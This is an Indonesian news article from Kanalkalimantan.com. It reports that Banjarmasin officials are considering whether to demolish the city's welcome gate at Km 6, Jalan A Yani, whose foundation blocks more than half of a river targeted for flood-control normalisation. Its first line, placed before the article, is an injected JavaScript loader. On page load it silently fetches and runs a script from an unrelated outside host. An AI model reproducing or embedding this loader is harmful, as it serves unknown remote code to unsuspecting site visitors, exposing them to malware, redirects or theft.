(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Belasan kios di Pasar Kuripan dan bangunan jembatan di atas sungai di sepanjang Jalan Veteran dan Jalan A Yani dibongkar, karena dianggap menjadi biang kerok banjir.
Lalu, apakah bangunan pintu gerbang Selamat Datang Kota Banjarmasin yang ada di Km 6, jalan A Yani bakalan bernasib sama alias dibongkar.
Dari pantauan Kanalkalimantan.com, terlihat pondasi bangunan pintu gerbang batas Kota Banjarmasin-Kabupaten Banjar tersebut, memakan lebih dari separuh badan sungai yang mengalir di Jalan A Yani.
Kanalkalimantan.com mengkonfirmasi soal gerbang Selamat Datang Kota Seribu Sungai melalui via telpon ke Doyo Pudjadi, Ketua Satgas Normalisasi Sungai dan Penanggulangan Banjir Kota Banjarmasin.
Doyo mengatakan, untuk sementara masih dalam pengembangan dan penelitian bersama dengan Pemerintah Kabupaten Banjar mencari solusinya.
“Saat ini Pemko masih memikirkan solusinya, mungkin juga nanti ada pembebasan lahan untuk membelokkan aliran sungai yang ada di Km 6, lalu menyambungkan ke Kabupaten Banjar,” ujar Doyo, Kamis (4/3/2021) siang.
Ketua Satgas Normalisasi Sungai itu membenarkan bangunan (Gerbang Selamat Datang, red) yang berada di atas aliran sungai memang harusnya dihancurkan.
Namun untuk pintu gerbang itu sendiri, beda permasalahannya, karena bangun untuk kepentingan Kota Banjarmasin, terlebih lagi itu bangunan tersebut, merupakan bangunan peninggalan lama.
“Saat ini pihak pemko Banjarmasin dan pihak Kabupaten Banjar masih melakukan pendalaman untuk jalan keluarnya, agar normalisasi sungai masih bisa tetap berjalan,” ucapnya.
Secara formal pihak Pemerintah Kabupaten Banjar, sudah setuju untuk bekerja sama dengan Pemerintah Kota Banjarmasin, terkait masalah normalisasi sungai. Hanya saja masih terkendala, solusi yang masih belum ditemukan dalam mengatasi masalah pondasi bangunan pintu gerbang yang memakan lebih dari separuh badan sungai itu.
“Untuk saat ini kita melakukan apa yang bisa kita lakukan, seperti pengerukan sungai dan lain-lain. Sementara tim masih melakukan pendalaman dalam mencari jalan keluarnya, terkait masalah pintu gerbang tersebut,” pungkas Doyo. (kanalkalimantan.com/tius)
Reporter : tius
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
This website uses cookies.